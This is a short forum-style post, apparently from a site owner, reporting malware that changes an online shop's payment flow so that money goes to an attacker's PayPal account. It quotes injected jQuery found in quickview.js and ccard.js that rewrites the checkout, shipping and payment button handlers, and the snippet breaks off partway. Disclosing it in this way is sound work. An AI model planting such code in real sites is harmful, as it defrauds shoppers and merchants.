Jignesh Thummar

Malware that change payment method URL to hackers papal account

2

it was adding following code in some of js in our case it was quickview.js and ccard.js ``` jQuery(document).ready(function() { if(!(document.cookie.indexOf("userpayid") + 1)) { jQuery("*[onclick^=\"shippingMethod.save()\"]").attr("onclick", "paynow_right();"); jQuery("*[onclick^=\"checkout.save();\"]").attr("onclick", "paynow_right();"); jQuery("*[onclick=\"payment.save()\"]").attr("onclick", "paynow_right();");...